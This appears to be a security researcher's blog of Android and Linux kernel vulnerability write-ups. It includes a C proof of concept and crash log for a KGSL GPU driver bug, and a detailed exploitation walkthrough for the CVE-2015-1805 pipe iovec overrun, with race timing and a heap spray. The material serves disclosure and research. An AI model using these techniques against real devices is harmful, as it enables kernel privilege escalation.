Retme的未来道具研究所

世界線の収束には、逆らえない

This issue has been released in the June 2016 Nexus public bulletin.

https://source.android.com/security/bulletin/2016-06-01.html#acknowledgements

Technical Detail:

In _kgsl_sharedmem_page_alloc,if the low 32bit part of 'size' > 0x80000000,variable 'len' will be a negative number.

Then it will not enter the while loop and reach 'sg_mark_end(&memdesc->sg[sglen - 1]);'

Note that variable 'sglen' is zero, so the mark will be set on the address 'memdesc->sg[-1]'. 


static int
_kgsl_sharedmem_page_alloc(struct kgsl_memdesc *memdesc,
            struct kgsl_pagetable *pagetable,
            size_t size)
{
    int ret = 0;
    int len, page_size, sglen_alloc, sglen = 0;
    unsigned int align;

    //...snip...

    len = size; 

    while (len > 0) {
        //...snip...
    }

    memdesc->sglen = sglen;
    memdesc->size = size;
    sg_mark_end(&memdesc->sg[sglen - 1]);







PoC:


void kgsl_poc(){
//kgsl_sharedmem_page_alloc_user
  
  int fd = open("/dev/kgsl-3d0",0);

  struct kgsl_gpumem_alloc_id arg;

  arg.flags = 0;
  arg.size = 0xa18fb010b0c08000;

  ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg);
}
int main(int argc, char *argv[]) {
  kgsl_poc();

  return 0;
}





crash :


<1>[  112.913308] Unable to handle kernel paging request at virtual address ffffff800da40fe0
<1>[  112.913323] pgd = ffffffc0588a8000
<1>[  112.913328] [ffffff800da40fe0] *pgd=0000000000000000
<0>[  112.913339] Internal error: Oops: 96000007 [#1] PREEMPT SMP
<4>[  112.913350] CPU: 2 PID: 5511 Comm: 3636test Tainted: G        W    3.10.73-gda330d0 #1
<4>[  112.913356] task: ffffffc0b0600000 ti: ffffffc0946fc000 task.ti: ffffffc0946fc000
<4>[  112.913370] PC is at kgsl_sharedmem_page_alloc_user+0x1ec/0x268
<4>[  112.913376] LR is at kgsl_sharedmem_page_alloc_user+0xa8/0x268
<4>[  112.913382] pc : [<ffffffc000576b58>] lr : [<ffffffc000576a14>] pstate: a0000145
<4>[  112.913386] sp : ffffffc0946ffc10
<4>[  112.913390] x29: ffffffc0946ffc10 x28: ffffffc000000000 
<4>[  112.913398] x27: ffffffc000c9d000 x26: 0000000000001500 
<4>[  112.913406] x25: ffffffc000c9a000 x24: cccccccccccccccd 
<4>[  112.913415] x23: ffffffc001791bc0 x22: 00000000b0c08000 
<4>[  112.913423] x21: a18fb010b0c08000 x20: ffffffffffffffe0 
<4>[  112.913431] x19: ffffffc093255248 x18: 0000007f9b45c000 
<4>[  112.913439] x17: 0000007f9b309264 x16: ffffffc00030cf48 
<4>[  112.913447] x15: 0000000000000001 x14: 0000007f9b44e040 
<4>[  112.913454] x13: 00000000000000a0 x12: 0000000000000001 
<4>[  112.913462] x11: 0000000000000068 x10: 0140000000000000 
<4>[  112.913471] x9 : 0000000000000000 x8 : ffffff802f059100 
<4>[  112.913478] x7 : 0000000000000000 x6 : 000000000000003f 
<4>[  112.913486] x5 : 0000000000000040 x4 : 0000000000000000 
<4>[  112.913494] x3 : 0000000000000004 x2 : 0000000000000000 
<4>[  112.913502] x1 : ffffff800da41000 x0 : ffffffffffffffe0 
<4>[  112.913509] 
<0>[  112.913514] Process 3636test (pid: 5511, stack limit = 0xffffffc0946fc058)
<4>[  112.913519] Call trace:
<4>[  112.913526] [<ffffffc000576b58>] kgsl_sharedmem_page_alloc_user+0x1ec/0x268
<4>[  112.913535] [<ffffffc000569820>] _gpumem_alloc+0x150/0x1d0
<4>[  112.913543] [<ffffffc00056d424>] kgsl_ioctl_gpumem_alloc_id+0x30/0x180
<4>[  112.913550] [<ffffffc00056f704>] kgsl_ioctl_helper+0x220/0x2b8
<4>[  112.913558] [<ffffffc00056f7b8>] kgsl_ioctl+0x1c/0x28
<4>[  112.913566] [<ffffffc00030ce74>] do_vfs_ioctl+0x4a8/0x57c
<4>[  112.913573] [<ffffffc00030cfa4>] SyS_ioctl+0x5c/0x88
<0>[  112.913581] Code: d503201f 9b210294 f9402261 f9001a75 (f8746820) 

Any application can access device '/dev/kgsl-3d0'.That's why Android Sec Team set it to Critical severity.

patch:

https://android.googlesource.com/kernel/msm/+/fb17eb73640b869ed4920791af1dfd680026fd49%5E%21/#F0


by retme

这是一篇去年的笔记,1805是一个非常强力的提权漏洞. Google已经发了这个漏洞的advisory , 所以我现在可以把这个贴出来



CVE  details

http://www.cvedetails.com/cve-details.php?t=1&cve_id=cve-2015-1805X44X


commit which bring bug in

http://permalink.gmane.org/gmane.linux.kernel.commits.head/78321X47X


fix

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=637b58c2887e5e57850865839cc75f59184b23d1X50X


0x1.综述



pipe.c

pipe_iov_copy_to/from_user在处理readv/writev时,

对当前已经拷贝的buffer长度统计可能与pipe_read/pipe_write不同步,

导致"iovec overrun",构造内存后可造成任意内核地址写



0x2.atomic copy的逻辑


static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
       unsigned long nr_segs, loff_t pos)
{
    ...snip...
    for (;;) {//循环读取内存到iovec,直到读取缓冲区(iovecs)用尽
        int bufs = pipe->nrbufs;
        if (bufs) {

            ...snip...
            if (chars > total_len)
                chars = total_len;

            error = ops->confirm(pipe, buf);
            if (error) {
                if (!ret)
                    ret = error;
                break;
            }
            //检查iovecs中的每一个iov->base是否是一个可写的用户态内存页
            //如果全部可写,那么atomic=1,接下来会直接使用__copy_to_user,不对目标地址再作检查
            atomic = !iov_fault_in_pages_write(iov, chars);
redo:
            addr = ops->map(pipe, buf, atomic);
            //对iovec进行copy,如果atomic=1,直接调用__copy_to_user,否则使用copy_to_user进行地址检查(access_ok)
            //                            !!!注意!!!
            //pipe_iov_copy_to_user会在每次copy完一个iov的时候对iov->len的长度进行更新
            //如果copy到len=X,出错返回,那么已经copy成功的iov->len会被减去;
            //但是读取缓冲区的长度total_len,不会同步减少。
            //进入redo逻辑后,pipe_iov_copy_to_user还会继续copy 长度为total_len的字节
            //那么最终会向后越界copy len=X个长度的iov,aka "iovec overrun"
            error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
            ops->unmap(pipe, buf, addr);

            if (unlikely(error)) {
                /*
                 * Just retry with the slow path if we failed.
                 */
                //如果本来是atomic=1,却copy失败了,那么使用atomic=0的方法重新copy
                //假设total_len=0x1010,第一次copy已经让iovecs总长度用掉了len=0x20
                //那么redo开始的时候total_len还是0x1010,但是iovces的长度已经被减少了0x20
                //所以最终pipe_iov_copy_to_user会越界读取iov,并向其中copy内存
                if (atomic) {
                    atomic = 0;
                    goto redo;
                }
                if (!ret)
                    ret = error;
                break;
            }
            ret += chars;
            buf->offset += chars;
            buf->len -= chars;

            /* Was it a packet buffer? Clean up and exit */
            if (buf->flags & PIPE_BUF_FLAG_PACKET) {
                total_len = chars;
                buf->len = 0;
            }

            if (!buf->len) {
                buf->ops = NULL;
                ops->release(pipe, buf);
                curbuf = (curbuf + 1) & (pipe->buffers - 1);
                pipe->curbuf = curbuf;
                pipe->nrbufs = --bufs;
                do_wakeup = 1;
            }
            //走到这里才对total_len进行更新,也就是只有copy成功才会更新。redo时不会更新
            total_len -= chars;
            if (!total_len)
                break;    /* common path: read succeeded */
        }
        if (bufs)    /* More to do? */
            continue;



0x3. 利用难点,造成redo



redo的逻辑不是那么好进的,如果要进入redo,需要做一个race condition on page table:


static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
       unsigned long nr_segs, loff_t pos)
{
    ...snip...
    for (;;) {
        int bufs = pipe->nrbufs;
        if (bufs) {

            ...snip...
            if (chars > total_len)
                chars = total_len;

            error = ops->confirm(pipe, buf);
            if (error) {
                if (!ret)
                    ret = error;
                break;
            }
            //loop_time = 1时,iov_fault_in_pages_write 这里必须执行成功
            //也就是所有的iov->base指向的内存页有效
            atomic = !iov_fault_in_pages_write(iov, chars);
redo:
            addr = ops->map(pipe, buf, atomic);

            //loop_time = 1时,pipe_iov_copy_to_user 这里必须中途执行失败
            //也就是其中某一个iov->base指向的内存页无效。
            //那么进入redo

            //redo,也就是loop_time = 2时,pipe_iov_copy_to_user必须成功,
            //需要让无效的iov->base重新生效
            //                        !!!注意!!!
            //不能在loop_time = 2的时候触发overrun,
            //否则overrun会使用copy_to_user而不是__copy_to_user,那么还是无法写内核地址
            //解决办法是让total_len 稍稍大于 buf->len(0x1000)
            //这样loop_time = 2的时候能保证把一个合法的buf->len读完。
            //并且会因为buf->len被读完,tolen_len却还有剩余,而进入第三个loop
            //然后在loop_time = 3的时候走atomic=1的路线,进行越界使用iov
            error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
            ops->unmap(pipe, buf, addr);

            if (unlikely(error)) {
                /*
                 * Just retry with the slow path if we failed.
                 */
                if (atomic) {
                    atomic = 0;
                    goto redo;
                }
                if (!ret)
                    ret = error;
                break;
            }
            ret += chars;
            buf->offset += chars;
            buf->len -= chars;

            ...snip...

            total_len -= chars;
            if (!total_len)
                break;
        }
        if (bufs)    /* More to do? */ //进入loop_time=3
            continue;

假设readv使用iovec[512] = 8k,正好占据一个kmalloc-8192
iovec[0].len=0
iovec[1].len=0x20
iovec[2→511].len=8

race时间轴如下
                        thread1                     thread2
                                                map(iovec[0→511].base)

loop_time = 1   iov_fault_in_pages_write
                        return 1
                                                unmap(iovec[2].base)

                    pipe_iov_copy_to_user
                       __copy_from_user
                       return -EFAULT
                         goto redo
                                                map(iovec[2].base)

loop_time = 2(redo)
                    pipe_iov_copy_to_user
                      copy_from_user
                         return 0

loop_time = 3(More to do)
                    pipe_iov_copy_to_user
                       __copy_to_user
                           OVER_RUN

如果我加上每次loop iovec长度的标记,时间轴如下:
             total_len = 0x1010  chars=0x1000
                     iovec[0].len=0
                    iovec[1].len=0x20
                    iovec[2→511].len=8

                        thread1                     thread2
                                                map(iovec[0→511].base)

loop_time = 1       iov_fault_in_pages_write
                       return 1
            total_len = 0x1010   chars=0x1000
                     iovec[0].len=0
                    iovec[1].len=0x20
                    iovec[2→511].len=8
                                                unmap(iovec[2].base)

                    pipe_iov_copy_to_user
                       __copy_from_user
                       return -EFAULT
                         goto redo

            total_len = 0x1010   chars=0xff0
                     iovec[0].len=0
                    iovec[1].len=0
                    iovec[2→511].len=8
                                                map(iovec[2].base)

loop_time = 2(redo)
                    pipe_iov_copy_to_user
                      copy_from_user
                         return 0

            total_len = 0x1010 - 0xff0 =0x20 chars=0xff0 - 0xff0=0
                     iovec[0].len=0
                    iovec[1].len=0
                    iovec[2→511].len=0

loop_time = 3(More to do)
            total_len =0x20 chars=min(buf->len,total_len)=0x20
                 iovec[513] aka    overun_iov[0]
                     overun_iov[0].len=0
                     overun_iov[1].len=8
                     overun_iov[1].base=KERNEL_ADDR
                     overun_iov[2->511].len=4096
                    pipe_iov_copy_to_user
                       __copy_to_user
                           OVER_RUN



overun_iov[1].base就是要写的内核地址,overun_iov就是8k内存页的下一页。

iov是在kmallc-8192的slab里面的,可以用sendmmsg去喷overun_iov



以上


一个iovec最大长度是被规定为MAX_RW_COUNT,这个检查由vfs中的rw_copy_check_uvector去做



但是在aio中,命令IOCB_CMD_PWRITE会让buffer被aio_setup_single_vector组装成一个iovec


io_submit -> aio_run_iocb -> aio_setup_single_vector

static ssize_t aio_setup_single_vector(int rw, struct kiocb *kiocb)
{
    if (unlikely(!access_ok(!rw, kiocb->ki_buf, kiocb->ki_nbytes)))
        return -EFAULT;

    kiocb->ki_iovec = &kiocb->ki_inline_vec;
    kiocb->ki_iovec->iov_base = kiocb->ki_buf;
    kiocb->ki_iovec->iov_len = kiocb->ki_nbytes;
    kiocb->ki_nr_segs = 1;
    return 0;
}

kiocb是用户态参数iocb的内核拷贝,所以kiocb->ki_nbytes是用户可控的值,没有校验iov_len是否大于MAX_RW_COUNT(MAX_RW_COUNT=0x7FFFF000)



所以在64位机器上可以设置iov_len为0xffffffff,且绕过access_ok的检查.

static ssize_t do_sock_write(struct msghdr *msg, struct kiocb *iocb,
            struct file *file, const struct iovec *iov,
            unsigned long nr_segs)


static int pppol2tp_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *m,
                size_t total_len = 0xffffffff)


in pppol2tp_sendmsg
    skb = sock_wmalloc(sk, NET_SKB_PAD + sizeof(struct iphdr) +
               uhlen + session->hdr_len +
               sizeof(ppph) + total_len,
               0, GFP_KERNEL);

struct sk_buff *sock_wmalloc(struct sock *sk, unsigned long size, int force,
                 gfp_t priority)
{
    if (force || atomic_read(&sk->sk_wmem_alloc) < sk->sk_sndbuf) {
        struct sk_buff *skb = alloc_skb(size, priority);
        if (skb) {
            skb_set_owner_w(skb, sk);
            return skb;
        }
    }
    return NULL;
}

那么在alloc_skb中,把size_t len 转成了int len



skbuff会变得很小,skbuff后面的内存会被写入。


不过对硬件内存要求很高,一般安卓机肯定卡爆

https://code.google.com/p/google-security-research/issues/detail?id=735&can=1&start=500